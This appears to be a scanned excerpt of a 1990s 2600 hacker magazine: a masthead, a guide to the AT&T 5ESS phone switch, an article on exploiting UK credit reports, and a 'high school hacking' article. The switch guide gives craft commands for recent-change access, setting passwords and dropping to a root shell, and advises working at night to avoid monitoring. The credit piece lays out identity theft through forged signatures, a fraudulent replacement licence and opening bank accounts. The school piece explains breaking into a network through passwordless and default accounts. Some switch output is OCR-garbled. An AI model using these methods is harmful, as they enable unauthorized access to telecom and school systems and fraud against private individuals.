WORLDLY PAYPHONES

LEFT TO RIGHT FROM THE TOP: Barcelona, Spain - a "green goblin" that takes coins and cards; Medellin, Colombia; Bombay, India; somewhere in Poland.

PHOTOS BY DREW LEHMAN, ANONYMOUS, DAVID JOHNSON, BRAD DOLAN.

SEND YOUR PAYPHONE PHOTOS TO: 2600 PAYPHONES, PO BOX 99, MIDDLE ISLAND, NY 11953. REWARD FOR MONGOLIAN PAYPHONES!
"The Secret Service didn't do a good job in this case. We know no investigation took place. Nobody ever gave concern as to whether statutes were involved. We know there was damage." - Judge Sparks, Steve Jackson vs. Secret Service, January 28, 1993

Writers: Billsf, Blue Whale, Eric Corley, Count Zero, John Drake, Paul Estev, Mr. French, Bob Hardy, Inhuman, Knight Lightning, Kevin Mitnick, The Plague, Marshall Plann, David Ruderman, Bernie S., Silent Switchman, Scott Skinner, Mr. Upsetter, Dr. Williams, and the usual anonymous bunch, especially David Alan Buchwald.

Technical Expertise: Rop Gonggrijp, Phiber Optik, Geo. C. Tilyou.

Special Projects Coordinator: Earl J. Waggadorn, Jr.

Shout Outs: Bad Cook Patrol.

Good Buy: Franklin.
A Guide to the 5ESS

by Crisp G.R.A.S.P.

Welcome to the world of the 5ESS. In this article I will be covering the switch topology, hardware, software, and how to program the switch.

The 5ESS switch is the best (I think) all around switch. Far better than an NT. NT has spent too much time with SONET and their S/DMS TransportNode OC48. Not enough time with ISDN, like AT&T has done. Not only that, but DMS100s are slow, slow, slow! Though I must hand it to NT, their DMS-1 is far better than AT&T's SLC-96.

What is the 5ESS

The 5ESS is a switch. The first 5ESS in service was cut over in Seneca, Illinois (815) in early 1982. This test ran into a few problems, but all in all was a success. The 5ESS is a digital switching system. This advantage was realized in the Number 4 ESS in 1979. The 5ESS network is a TST (Time Space Time) configuration, the TSIs (Time Slot Interchangers) each have their own processor. This makes the 5ESS one of the faster switches, though I hear some ATM switches are getting up there.

5ESS System Architecture & Hardware

The 5ESS is a digital SPC switching system which utilizes distributed control, a TST switching network, and modular hardware and software design.

The major components are:

**ADMINISTRATIVE MODULE**

- Two 3B20S Processor
  - Central control and main store
  - Disk storage for infrequently used programs and data, and main store regeneration.
  - Two 3B processors are always comparing data, and when one fails the other acts in its place.

- **Two Input/Output Processor (IOP)**
  - Provides TTY and data-link interfaces to the 3B Processor, 5ESS Network, Master Control Center (MCC), and various Operational Support Systems (OSS). On page 5 is a list of the default TTYs (also called "channels")

- **Two Automatic Message Accounting (AMA) arrangements**
  - Uses data links to transport calling information to central revenue accounting office and AMA tape. Here is the basic AMA structure for the OSPS model.
    - Called customer’s telephone number, either a seven- or ten-digit number
    - Calling customer’s telephone number,
tty Channel Name
ttyA Master control console (MCC) terminal
ttyB Master control console (MCC) terminal
ttyC Traffic report printer
ttyJ supplementary trunk and line work station
ttyK supplementary trunk and line work station
ttyL supplementary trunk and line work station
ttyM supplementary trunk and line work station
ttyN supplementary trunk and line work station
ttyP Repair service bureau-recent change and verify (RSB-RCV)
ttyQ Switching control center-recent change and verify (SCC-RCV) terminals
ttyR Office records printer
ttyS Switching control center-recent change and verify (SCC-RCV) terminals
ttyT Switching control center-recent change and verify (SCC-RCV) terminals
ttyU Belt line B
ttyV Local recent change and verify (RCV) terminal
ttyW Remote recent change and verify (RCV) terminal
ttyY Network administration center (NAC) terminal
ttyZ The switching control center (SCC) terminal

seven digits
- Date
- Time of day
- Duration of conversation.

COMMUNICATIONS MODULE
Message Switch (MSGS)
- Provides for control message transfer between the 3B20 Processor and Interface Modules (IM's).
- Contains the clock for synchronizing the network.

Time Multiplexed Switch (TMS)
- Performs space division switching between SM's.
- Provides permanent time slot paths between each SM and the MSGS for control messages between the Processor and SM's (or between SM's).

Switching Module (SM)
- Terminates line and trunks.
- Performs time division switching.
- Contains a microprocessor which performs call processing function for the SM.

COMMON COMPONENTS OF THE SWITCH MODULE (SM)
Switch Module Processor Unit (SMPU)
- Contains microprocessors which perform many of the call processing functions for trunks and links terminated on the SM.

Time Slot Interchange Unit (TSIU)
- 512 time slot capacity.
- Connects to the TMS over two 256-time slot Network Control and Timing (NCT) links.
- Switches time slots from Interface Units to one of the NCT links (for intermodule calls).
- Switches time slots from one Interface Unit to another within the SM (for intramodule calls).

Digital Service Unit (DSU)
- Local DSU provides high usage service circuits, such as tone decoders and generators, for lines and trunks terminated on the SM.
- Global DSU provides low usage service circuits, such as 3-port conference circuits and the Transmission Test Facility, for all lines and trunks in the office (requires 64 time slots).
- The SM may be equipped with four types of Interface Units:
  Line Unit (LU)
  - For terminating analog lines.
  - Contains a solid-state two-stage analog concentrator that provides access to 64 output channels. The concentrator can be fully equipped to provide 6:1 or 4:1 concentration.
  Trunk Unit (TU)
  - For terminating analog trunks.
  - Each TU requires 64 time slots.
Digital Line Trunk Unit (DLTU)
- For terminating digital trunks and RSM's.
- Each fully equipped DLTU requires 256 time slots.
- A maximum of 10 DSIs may be terminated on one DLTU.

The SM may be equipped with any combination of LU’s, TU’s, DCLU’s, and DLTU’s totaling 512 time slots.

5ESS System Software
The 5ESS is a UNIX OS based switch. UNIX has played a large part in switching systems since 1973 when UNIX was used in the Switching Control Center System (SCCS). The first SCCS was a 16 bit microcomputer. This led to the development of the other switching systems which AT&T produces today (such as System 75, 85, 1AESS AP, and 5ESS). Note: You may hear SCCS called the "mini" sometimes.

The 5ESS’s /etc/getty is not set up for the normal login that one would expect to see on a UNIX System. This is due to the different channels that the 5ESS has. Some channels are the TEST Channel, Maintenance Channel, and RC Channel (which will be the point of focus). Once you are on one channel you cannot change the channel. As someone has said, "It is not a TVI!" You are physically on the channel you are on.

Test Channel
The TEST channel is where one can test lines and test the switch itself. This is where DAMT operates from. This is access from the SMAS, which uses the No. test trunk on the switch. The No. test trunks on the switch (also called adding a third trunk), are where the operators do their BLVs from, and where LMOS accesses the switch from. Access to this channel is through:

Group | Computer System
--- | ---
Special Service Center | SMAS via NO-Test.
 | SARTS (IPS)
 | NO-TEST trunk (from the switch)
 | 17B and 17E test boards (CCSA net using X-Bar)
 | RTS
 | BLV
 | P0VT
 | DTAC
 | etc...
Repair Service Bureau | #10LTD
 | #14LTD
 | LMOS (IPS)
 | MLT-2
 | ADTS
 | TIRKS
 | TFTP
 | TRCO
 | DAMT
 | ATICS
 | etc...
### Maintenance (SCC) Channel

The Maintenance Channel is where the SCC looks and watches the switch 24 hours a day, seven days a week! From this channel one can input RC messages if necessary. A lot of people have scanned these out, and thought they were AMATs. Well this is short, wrong! Here is a sample buffering of what they are finding.

```plaintext
$570-67 92-12:21 16:16:48 086901 MDIIMON BOZOVILL DSO
A REPT MDII WSN SIGTYPE DP TGNM=775-16 S21 OOS 0
SUPPVSN RB TIME=02:10:49 TEN=14-0-1-31 TRIAL I CARRFLAG NC ID
OOST NORMAL CALL CALLED NO CALLING NO DISCARD NO.
SACD 149993987 92-12:21 16:17:03 086902 MAIPR BOZOVILL DSO
OP:CFGSTAT,SM=1&8&0&OSS:0:PRINT,RF

16:17:03 086902 MAIPR BOZOVILL DSO
OOG:UYS OP:CFGSTAT,SM=1&8&0&OSS:0:PRINT,RF
Lose ira kone $0 BOZOVILL DSO
A 5 FIRST RECORD
MICE STATE ACTIVITY HDWCHK DGN RESULT
: OQOS,AUTO,FE BUSY INH ATP
OOS,AUTO,FE BUSY INH CATP
OOS,AUTO,FE BUSY INH ATP
OOS,AUTO,FE BUSY INH ATP
OOS,AUTO,FE BUSY INH CATP
OOS,AUTO,FE BUSY INH ATP
OOS,AUTO,FE BUSY INH ATP
71 TRCE WCDSO
EVENT 2991
330000 DIALED DN 61C
```

This has nothing to do with AMA. This is switch output on the SCC channel. This is used by the SCCS for logging and monitoring of alarms. The whole point of this channel is to make sure the switch is doing what it should do, and to log all activity on the switch. *Nothing more!*

To go into these messages and say what they are would take far too long. Order the OM manuals for the 5ESS. Watch out, they are about five times the size of the IM (input manual) set. On average it takes someone three years of training to be able to understand all of this stuff. There is no way anyone can write an article in 2600 and hope all who read it understand everything about the 5ESS. Get the manual!

### RC Channel

The RC (Recent Change) Channel is where new features can be added and taken away from phone lines. This is the channel you may come in contact with if you come in contact with any at all. When one connects to a 5ESS RC channel one may be dumped to a craft shell if the login has not been activated. Access to the switch when the login is active is controlled by lognames and passwords to restrict unwanted entry to the system. In addition, the SCC (Switching Control Center) sets permission modes in the 5ESS switch which control the RC security function.

The RC security function determines whether recent changes may be made and what types of changes are allowed. If a situation arises where the RC security function denies the user access to recent change via RMAS or RC channels, the SCC must be contacted so that the permission modes can be modified.

The RC security function enables the operating telephone company to decide which of its terminals are to be allowed access to which set of RC abilities. Note that all verify input messages are always allowed and cannot be restricted, which does not help too much.

The RC security data is not part of the ODD (office dependent data). Instead, the RC security data is stored in relatively safe DMERT operating system files which are only modifiable using the following message:

```
SET:RCACCESS,TTY="aaaaa",ACCESS=
H'bbbbb;
```

where: `aaaaa` = Symbolic name of terminal in double quotes, `H'` = Hexadecimal number indicator in MML, `bbbbb` = 5-character hexadecimal field in 5E4 constructed from binary bits corresponding to RC ability. The field range in hexadecimal is from 00000 to FFFFF. This message must be entered for each type terminal (i.e. "aaaaa"="rmas1", "rmas2", etc.).

Note: Order IM-5D000-01 (5ESS input manual) or OM-5D000-01 (5ESS output manual) for more information on this and other messages from the CIC at 1-800-432-6600.

When the message is typed in, a DMERT operating system file is created for a particular terminal. The content of these files, one for each terminal, is a binary field with each bit position representing a unique set of RC abilities. Conversion of this hexadecimal field to binary is accomplished by converting each hexadecimal character to its equivalent 4-bit binary string.

<table>
<thead>
<tr>
<th>HEX</th>
<th>BINARY</th>
<th>HEX</th>
<th>BINARY</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0000</td>
<td>8</td>
<td>1000</td>
</tr>
<tr>
<td>1</td>
<td>0001</td>
<td>9</td>
<td>1001</td>
</tr>
<tr>
<td>2</td>
<td>0010</td>
<td>A</td>
<td>1010</td>
</tr>
<tr>
<td>3</td>
<td>0011</td>
<td>B</td>
<td>1011</td>
</tr>
<tr>
<td>4</td>
<td>0100</td>
<td>C</td>
<td>1100</td>
</tr>
<tr>
<td>5</td>
<td>0101</td>
<td>D</td>
<td>1101</td>
</tr>
<tr>
<td>6</td>
<td>0110</td>
<td>E</td>
<td>1110</td>
</tr>
<tr>
<td>7</td>
<td>0111</td>
<td>F</td>
<td>1111</td>
</tr>
</tbody>
</table>

Each bit position corresponds to a recent change functional area. A hexadecimal value of FFFFF indicates that all bit positions are set to 1 indicating that a particular terminal has total RC access. Also, verify operations as well as lettered classes are not included in the terminal's security scheme since all terminals have access to verify views and lettered classes.

In addition, maintenance personnel are able to verify the security code for any terminal by typing the following message from either the MCC (Master Control Center) or SCCS (Switching Control Center System) mini terminal:

```
OP:RCACCESS,TTY="xxxxx";
```

where: `xxxxx` = symbolic name of terminal in double quotes.
Each bit position corresponds to a recent change functional area.

To ensure redundancy, DMERT operating system files are backed up immediately on disk by the SCC.

The input message that defines the password and CLERKID (another name for username) is in the Global RC feature. This input message defines a CLERKID and associated password or deletes an existing one. (Note that CLERKID and PASSWORD are required fields on the Global RC Schedule view 28.1 in RCV:MENU:APPRC, but more on this later.)

This new input message is as follows:

```
GRC:PASSWORD,CLERKID=xxxxxxxxxx,[PASSWD=xxxxxxxx][DELETE]
```

Note: CLERKID can be from one to 10 alphanumeric characters and PASSWORD can be from one to eight alphanumeric characters.

This input message can only be executed from the MCC or SCC terminals, and only one password is allowed per CLERKID. To change a CLERKID's password, this message is used with the same CLERKID but with a different password.

---

**DMERT**

The DMERT (Duplex Multiple Environment Real Time) uses the Western Electric (another name for AT&T!) 3B20S Simplex processor. The DMERT software totals nearly nine thousand source files, one million lines of nonblank source code, developed by approximately 200 programmers. There are eight main releases of this software. They are referred to as generics (like 5E4.1, 5E4.2, to 5E8.1 - also seen as 5E4(1), 5E4(2), to 5E8(1). This can be thought of as the equivalent of a DOS version.) DMERT is UNIX in a sense but can be best described as a custom UNIX system based on the 3B20S. The DMERT OS can be ported to PDP-11/70s or a large IBM mainframe. The DMERT operating system is split both logically and physically. Physically, the software is evenly divided across the five Software Development systems. (There are seven Software Development systems all running a 3B20S where the DMERT code was written.) Logically, the software is divided into 24 subsystems. To access this from the “craft” shell of the RC/V channel, type:

```
RCV:MENU:SH!
```

This will dump you to a root shell.

**Programming the 5ESS**

When programming the 5ESS there are things one should know. The first is that one has a lot of power (just keep 911 in mind - it would be foolish to even think of disrupting anyone’s service. 911 is there for a reason, it should stay that way.) And anything one does is logged and can be watched from the SCC. Note that the night SCC crew is a lot more lax on how things are done then the day shift, so it would be best to do this at night. I could tell you how to crash the switch in two seconds, but that is not the point.
here. Destroying something is easy - anyone can do that. There is no point to it. All that taking down a switch will do is get one into jail. (I think SRI is wishing they had talked to me now.)

**RC from Craft Shell on RC/V Channel**

RC and VFY is complex from the craft shell on the RC/V channel. This is called the input text option. It is accessed by using the

RCV:APPTEXT:

This gets a little complex to follow, but the best thing to do is order the Manual 235-118-215 Recent Change Procedures Text Interface (SE). It is $346.87. Another good one to get is 235-118-242, for $413 even. And last, but the best, is 235-118-243. This beast is only $1344.63. What a deal.

RCV:APPTEXT:DATA,[SUMMARY],[NSUMMARY],[VFYIMMED],[VFYEND]

[DEVICE=STDOUT|ROPO|FILE|TTYx], FORM=..., DATA FORM=..., END;

DATA: This is for more then one RC operation in the same command.

FORM: The format that is to be used.

SUMMARY: Turns on one line summaries on the read only printer (ROP) (DEFAULT).

NSUMMARY: Turns off one line summary logging by the ROP.

VFYIMMED: Prints out verifys (VFYs) immediately, does not wait for session end.

VFYEND: Prints out all VFYs at session end, this is the DEFAULT.

VFYHMVAL: Print verify output in name-value pair format. This must be directed into a file (see DEVICE).

VFYSCIMG: Makes output into screen size image (DEFAULT).

DEVICE: Redirect verify output to a device other than one’s screen.

ROP/ROPO: Send verify output to the ROP.

STDOUT: Send verify output to one’s screen (DEFAULT).

TTYx: Send verify output to any valid tty (such as ttya and ttyv) that exists in “/dev.” You must use the tty name, not tty number.

FILE: Send verify output to a file in “/rclog”. The file will be prefixed with “RCTX”, and the user will be given the name of the file at the beginning and end of the APPTEXT session.

END: END of message.

If the parameter is not entered on the command line, it may be entered after the APPTEXT process begins, but must be entered prior to the first “FORM=” statement. Here is an example of a MML RCV:APPTEXT.

rcv:apptext:DATA,form=2v1&vfy,se1t= 
"oe.entype"&iset="oe.len"&xxxxxxx,pty=i,vfy!

The 2V1 may look strange at first. It may help getting used to the basics first. To just VFY telephone numbers, just do a:

RCV:APPTEXT:DATA,FORM=1V6-VFY,TN=5551212,VFY,END!

Another way to send RC to the switch from the RC/V craft shell prompt is to use the text line RC input. Here is an example of this:

RCV:APPTEXT!! OK

: DEVICE="FILE"!! OK

: FORM="12V2"&"NEW"!! NOTICE - Verify output

I will go to file 

"/rcllog/RCTX434_046407"

OK

: CLUSTER="LEARN"!! OK

: LNEW="FEATLIST.FEAT"&"CWT"!! OK

: LNEW="FEATLIST.FEAT"&"CWD"!! OK

: LNEW="FEATLIST.FEAT"&"CFV"!! OK

: NEW!! OK

: FORM="12V2"&"VFY"!! OK

: CLUSTER="LEARN"!! OK

: VFY!! OK

: FORM="12V2"&"CHG"!! OK

Note: The “<” symbol is the craft shell prompt. The “:” symbol is the RC/V Text Interface prompt. OK is the 5ESS switch output message.

That is an example of adding a “/CWT”, “/CWD”, and “/CFV” to the switch database.

These input messages may look complex at first, but are really simple, and much better then dealing with the menu system, but you will need to learn RC yourself! No one can explain it to you.

**Pulling AMA from the RC/V Channel Craft Shell**

Pulling AMA up is all done in one command.

The command is:

OP:AMA:SESSION,ST11,ST2;

This command will request a report of the current or most recent automatic message accounting (AMA) tape. ST1 and ST2 are the data streams.

**Pulling Up Out of Service Lines, Trunks, or Trunk Groups**

One may want to pull up all the out of service lines, trunks, or trunk groups for many reasons. I will not go into these reasons. The command to do this from the craft shell is a PDS command. This command ends with a “ball bat” (“!”).

OP:LIST,LINES,[FULL],PRINT,[a][b][c][d][e]!!

OP:LIST,TRUNKS,[FULL],PRINT,[a][b][c][d][e]!!

OP:LIST,TG,[FULL],[PRINT],[a][b][c][d][e]!!

FULL: All (primary and pending) are printed.

Note FULL is not the default when inputting this command.

PRINT: Print to the ROP in the CO.

a-e: This is port status to match against the subset of trunks, lines, or trunk groups that are specified. DEFAULT, moreover needs input.

**The 5ESS RC/V Menu Shell**

To access this shell from the RC/V channel craft shell, type:

RCV:MENU:APPRC

at the “<” prompt.
To access the 5ESS RC/V menu system from the MCC, STLWS, and TLWS channel/terminals, one uses what are called pokes. The poke that is used here to access the RC/V Menu system on the 5ESS is 196.

196

at the “CMD<” prompt puts you on the RC/V menu system of the 5ESS switch. This will cause “RC/V 196 STARTING” and “RC/V 196 COMPLETED” to be printed out at the ROP.

Adding features onto the 5ESS is easy. At the craft shell of the RC/V channel type:

RCV: MENU: APPRC

This will toss you into a menu system. An example of a main menu appears above.

The help menus for the 5ESS switch are their contents to you just for the hell of it because lame, but I thought that it would be good to show it does explain a little about the switch.

Commands For Menu Pages

H - Explains commands for MENU or views. If you enter H again, then it will display next HELP page.
HH# - Select HELP page. (# - help page number).
Q - Quit Recent Change and Verify.
R - Change mode to RECENT CHANGE.
V - Change mode to VERIFY.
< - Go to CLASS MENU page.
# - If on CLASS MENU page Go to a VIEW MENU page #.
## - If on VIEW MENU page Go to a RECENT CHANGE or VERIFY VIEW #.
### - Go to a RECENT CHANGE or VERIFY VIEW. (CLASS#. VIEW#).
#R - Go to Recent Change view for read.
#I - Go to Recent Change view for insert.
#D - Go to Recent Change view for delete (only print Key fields).
#DV - Go to Recent Change view for delete with verify (print all fields).
#U - Go to Recent Change view for update.
#UI - Go to Recent Change view for update in insert mode (user can change each field sequentially without typing field number).
#V - Go to Verify view.
#N - Go to next menu page. Back to the 1st page if there’s no next page.

Commands For Batch

BAM - Delayed Activation Mode. Choose time or demand release (for time release add service information).
Select view number for Recent Change.
BMD - Display Status of Delayed Activation Recent Changes.
BMR - Release a file of Recent Changes stored for Delayed Activation.
IM - Immediate Release Mode.

Commands For Views

< - In first field: Leave this view and return to select view number.
< - Not in first field: Return to first field.
^ - In first field: Select new operation for this view.
^ - Not in first field: Return to previous field.
> or ; - Go to end of view or stop at next required field.
* - Execute the operation or go to next required field.
? - Toggle help messages on and off.
Q - Abort this view and start over.
V - Validate input for errors or warnings.
R - Review view from Data Base.
I - Insert this view into Data Base.
U - Update this view into Data Base.
D - Delete this view from Data Base (only print Key fields).
C - CHANGE: Change a field - All fields may be changed except key fields when in the update mode only.
C - CHANGE-INSERT: Allowed in the review mode only - Allows you to review a view and then insert a new view with similar field. You must change the key fields to use this facility. You may change other fields as required by the new view.
P - Print hard copy of screen image (must have RC/V printer attached).

The following are used only on views containing LISTS.

- Blank entire row.
- Sets this field to its default value.
- Sets this row to its default value.
[ - Go backward to previous row.
] - Go forward to next row.
: - Go to end of view or stop at next required field.
# - Go to end of list and stop at next non-list field.
{ - Delete current row and move next row to current row.
} - Copy previous row to current row.
* - Execute the operation or stop at next required field.

If RC/V is in automatic forms presentation and “Q” or “q” is entered for the operation, the following commands are available.

A - Abort form fields. RC/V stays in the current form.
B - Bypass form. Go to next form using automatic forms presentation.
C - Cancel automatic forms presentation. The previous menu will be displayed.
H - Display automatic forms presentation help messages.
< - Bypass form. Go to next form using automatic forms presentation.

When accessing the databases, here is a list of database access selections:

I (insert) - Insert new data.
R (review) - Review existing data.
U (update) - Update or change existing data.
D (delete) - Delete (remove) unwanted data from the database.
V (verify) - Verify the data in the data base.

These are to be entered when one sees the prompt:

Enter Database Operation
I=Insert R=Review U=Update D=Delete : _

When using the RC/V menu system of the 5ESS, you may just keep going into sub-menus and fall off the end of the earth. Here are the navigational commands that are used to move around the menu system. As seen from the RC/V menu system help, you see "SCREEN X out of X". This means that there are so many screens to go and to move between the screens you use the "<" to move back (toward the main menu) and the ">" to move to the last menu. I know it is shown in the help menu, but it is not explained like it needs to be.

**Batch Input**

The Batch Input feature for the 5ESS switch allows recent changes (RC) to be entered at any date and time when the RC update would be performed. This allows RC input to be entered quickly, and for a large number of inputs. The large numbers of RC input can be released quickly in a batch mode. The RC input can then be entered at any time, stored until they are needed, and then released for use by the system when needed.

First and second level error correction is done during batch input. There are several different modes of batch input. These are:

- **BMI** - batch mode input - TIMEREL and DEMAND
- **BMD** - batch mode display
- **BMR** - batch mode release

Entering BMI one types "BMI" at the RC/V menu prompt. Once entering, you will be prompted with whether the input is DEMAND (demand) or TIMEREL (Time Release). DEMAND input allows one to manually have the batch update the database. TIMEREL is automatic. TIMEREL has one enter a date and time.

When using DEMAND, you will be prompted for the file name. The file will be in "/rclog" in the DMERT OS.

In TIMEREL, you will be prompted with the CLERKID, which in this case is the file name for the file in the "/rclog". Then for VERBose options, the RC SRVOR (Recent Change Service Order) is displayed on the screen.

**RC SRVOR View in the BMI TIMEREL Batch Option 5ESS SWITCH**

**RECENT CHANGE B.1 SERVICE ORDER NUMBER VIEW**

1. **ORDNO**
2. **ITNO**
3. **MSGNO**
4. **RDATE**
5. **RTIME**

Enter Insert, Change, Validate, or Print:

- **ORDNO** = Service Order Number
- **ITNO** = Item Number
- **MSGNO** = Message Number
- **RDATE** = Release Date (Update database Date)
- **RTIME** = Release Time (Update database Time)

**BMD - batch mode display. BMD is a "mask" of RC/V done from the RC/V channel craft shell, by using the REPT:RCHIST or a pseudo-menu system. All transactions are displayed on the ROP, though the data could also be sent to a file in the "/rclog" in DMERT.**

The pseudo-menu system looks like:

1. **Summary of clerk activity**
2. **Activity by service order number**
3. **Activity by clerk ID**
4. **Return to view or class menu.**

**Display 1 of 2**

1. Allows one to view the "DELAYED RELEASE SUMMARY REPORT."
2. Produces a "DELAYED RELEASE REPORT BY SERVICE ORDER."
3. Produces the "DELAYED RELEASE REPORT BY CLERK ID."
4. Return to view or class menu, self-explanatory.

**REPT:RCHIST - BMD**

The REPT:RCHIST BMD (Text) command is done from the RC/V channel craft shell. The command synopsis is:

**5E2 - 5E5 (Generics)**

REPT:RCHIST,CLERK=,[FORMAT={SUMMARY,DETAIL}],[ALL],[PEND],[COMPLETE],[ERROR],[DEMAND],[DEST=FILENAME],[TIME=XXXX XXXX];

**5E6 - 5E8 (Generics)**

REPT:RCHIST,CLERK=al,[FORMAT={SUMMARY,DETAIL}],[ALL],[Dest=[cIFILE]],[TIME=XXXXXXXX];

**SUMMARY** - Report selection, format by key.
**DETAIL** - Report selection for Recent Change entire.
**ALL** - Report all recent changes.
**PEND** - Report pending recent change input.
**COMPLETE** - Report released recent changes that was successful when completed.
**FILE** - Name for file in /rclog.
**ERROR** - Report recent changes released with error.
**DEMAND** - Report demand recent changes.
**TIME=XXXXXXXXXX** - XX - month, XX - day, XX - hour, XX minute, XX - second.

**BMR - batch mode release. This is the manual release (updating) of the 5ESS database. This is done from the RC/V channel craft shell. The command that is used is the EXC:RCRLS input message. There is no real need to go into this message.**

Adding features RCF (Remote Call Forward) on a 5ESS

1. At the "MENU COMMANDS" prompt of the 5ESS

(continued on page 32)
British Credit Holes

In 1984, the British government passed the ‘Data Protection Act’ in order to allow any individual to obtain copies of computer records which any company or organisation may have on that individual. The intention was to be able to see exactly what was being held on them and subsequently be able to correct any erroneous information.

We hear these stories of people who have been turned down for a loan when they believe that they have impeccable credit credentials. However, if the records mistakenly say otherwise, you are completely in the dark.

In the United States just about everyone knows about the importance of credit history, and checking up on individuals is purely a matter of course. Here in England, however, most individuals are completely unaware of any of this. In fact, many companies here are unaware of this! While organisations performing the same functions as, say TRW, do exist here, almost no one would know anything about them.

I began looking into just what everyone had on me through these credit recording companies and quickly found a flaw in the system. This flaw allows me to get a great deal of information on just about anyone. Further more, it’s all perfectly legal! Let’s explain how it works.

There are six main credit recording agencies here in England. For the sum of one pound and a letter with your full name, date of birth, addresses for the last six years, and your signature, you can receive printed records of everything they have on you. These records show any loans you have taken out, credit cards you have received (with their numbers and credit limits), credit checks which have been run on you, and any county court judgements you may have against you. Some will even show how you pay off your credit cards, by showing: if you paid off the full amount each month; if you paid it off on time; and even if you used it at all.

Now then, the flaw in the system is that information on you is not stored by anything as obvious as your name or social security number, but by your address. Furthermore, when you get a report on yourself, it not only gives all of your information but also that of anyone else who happens to have lived at that address. This means that not only do I get credit information on me, but on everyone else at those same addresses! In other words, I get to see all of their credit card numbers, dates of issue, and credit limits!

OK, so how is this useful? Well, your feverish minds are probably already thinking of devious uses for this information. Right, suppose I want to get information on you. All I need is your address.

Fine, so I do a credit search on myself, but I say that I have only lived at my current address for the last month or so, and prior to that I lived at all the same addresses which you have lived at for the last six years (of course, I don’t mention you). When I get the replies, I have all your credit information. I now have details of any loans (with loan numbers), credit card numbers (with credit limits), dates and amounts etc.

I’ve not done anything illegal, up to this point. The next step is to write to each of the credit card companies and loan companies, etc. and ask them to send all information they have on the person whose credit information you now have. They’re probably going to check a signature, so you’ll need to forge the signature of the person you’re spying on. The credit company will give you all the information they have on the person. This information may include things like just what it was they bought and the credit references they used to establish that you were kosher in the first place.

You will see that you can quite quickly begin to expand outwards building up a bigger and bigger picture of the individual who you are investigating. You can also get a hold of things like copies of electricity, gas, and telephone bills by saying that you suspect mail has been going missing and can they send duplicate bills to a different address.

To get a driving licence is just as easy. All you do is get the application form and fill it out saying that you have lost the previous licence and you want a replacement. You need the full name, date and place of birth, a signature, and six pounds. Also, enclose a letter saying that you want it mailed to a different address than the one you live at (because you suspect mail is going missing). Doing this, the original licence is still valid (since it has the same number) and same address, so the real owner will never be aware of this. (Incidentally, a UK driving licence does not have a photo on it and a social security number is almost never asked for.)

With the driving licence you can then open a P.O. Box which has no connection with you. It has another person’s name and address associated with it. Incidentally, a P.O. Box in England offers no privacy whatsoever, since you can demand to be given the name and address of the owner and the post office have to give it to you. I have been told of the post office checking up on people applying for P.O. boxes by actually calling around to see them.

As you begin to build up more and more information on the individual, sooner or later you will start getting information like bank details i.e. account numbers and sort codes as well as any mortgage information etc. You’re in a position to really start doing some nasty damage. With a driver’s licence you can open a bank account and have all the bank information sent to the P.O. Box. You’re now in a position to begin using someone else’s credit without them even knowing!

There is actually a reason why credit information is sorted by address. Apparently, statistically, bad payers tend to associate with other bad payers. This means that if you live in an area which is notorious for debts then it will be assumed that you too are bad at paying off your debts. It also counts against you if you live in a bad neighbourhood or estate. If a previous owner, or occupier, was a credit risk then even though you may never have even met them their bad credit rating can be attached to you - and there’s nothing that can be done to change it!

The way that things are set up means that it would be extremely difficult for them to change the system. Luckily, very few people know about this so it’s not an immediate problem.
high school hacking

by The 999

I recently messed around with our school's new network. It is run on new IBM PS/2's. Each workstation is a 286 and the servers are 486's. There are three networks, each networked with each other. It is all run on a fiber optic Token Ring network. Hacking this system is so easy it's almost unbelievable. There are three ways to do it. All three ways are equally easy; it just depends on what you want to do.

After loading up, the system displays a digitized picture of a rose in the background and asks for your name or number. Students use their student ID numbers as their user name. The teachers use their own names. The administrators use Administrator and Sysop.

First off, logging on as the sysop. The idiots who run this thing (the teachers, enough said) don't have a password on the sysop account. If you try to log in as administrator, it will ask you for a password. I don't know what it is. But if you try to log in as sysop, it will beep and you're in, password free. You have to be careful that no administrators are nearby, as that beep is only made when the sysop logs in.

Now that you're in, you will get a large menu with all the choices. They consist of various sysop functions, from Add/Remove/Edit user account, Add/Remove files, Change password, etc. I like the edit and make user account features. Editing an account is very easy. It asks for the user's name, grade, etc. This info is all available by pressing F1, which gives you a long list of every user, listing their name, ID number, and grade. So you just enter what you want and you have their account on your desktop. Edit away. Making an account is the same, except you make up info instead of using real information. Make your own sysop level accounts. Why not? The sysop account that you are on can do anything you want to do.

Getting into DOS. Easy. When the machine is booting up, press Control-C and/or Control-Break to terminate the batch job. There you go. DOS. I would suggest waiting until you see the stuff about "inserting ring into network" or whatever. Then break the batch. If you break before this, you will only be able to mess with the local hard drive, not all of them. On the system I was working on, the local drive was h. The main stuff was on t. There are a lot of logs on h. All the drives pretty much look the same, with the same directories and all. But they are a little different, and the files in the directories are different. There are many neat tricks once you're inside DOS.

The directories follow a strange naming structure. The names of each user's directory is the user's name, underline characters (_)s to fill up the eight character name, but then they might also have a three character extension as well. For example, one user (number 8344) has directories called 8344_______, files called 8344_______#, 8344_______@, and so on. Strange.

DOS doesn't seem to care though. The teachers follow the same format. A teacher named Mrs. Rosenthal had directories called ROSENTHA.L__. Interesting to say the least, I enjoy hacking this system just to look at the weird tricks this netware pulls.

Hacking accounts. Easy too. If you didn't get on as the sysop and steal an account or make your own, and you don't want to mess around under your own name, this is for you. When the systems are put up, and when users are added, they all get the default password. On our systems, the password is DOG. So first, you pick a student number. These can be gotten in many places so you don't have to even guess. Look at any teacher's grade book or any attendance sheet, etc. They all have the ID number right next to the student's name. Now you log in using that number. At the password prompt, enter the default password. The easiest way to figure out the default password is to simply remember what it was the first time you logged in as yourself. Changing the password of the account you are using is simple - it's a choice from your main menu. You have to enter your current password and it doesn't echo, which prevents you from just going up to a terminal someone left without logging off and changing the password. Also, shoulder surfing is not hard, especially since most users are computer illiterate. Most will even tell me their password! Like when they change it, they tell me what it is voluntarily.

If you are on as a student, not a sysop or other super user, you can still do anything you want, almost. Go to Microsoft Works, which usually comes with the systems and is on everyone's menu. You can now load any file you want. I am still trying to find the password files. Another nice feature of Microsoft Works is the run external program choice from the file menu. "DOS prompt" is one of the choices. If you run it, you will be in a full DOS shell. You can do anything you want. You can do the same things you could if you broke the batch file while booting up. You might have some drives that you can't log into. It depends on the restrictions of the user that you are using.

There is a neat directory called Autolog and Autolog2. There are files called *.lgn, where * is a number. These files have various things in them. I assume they are some sort of macro autologin things or something. The ones I looked at said things like "Hello Butch, the time is" and some kind of time string and stuff like that. But it also lists the user's root directory and drives. Like if it has a--h:, that user has access to drives a through h. The directory listed in there is the user's work directory, where all of their files are saved.

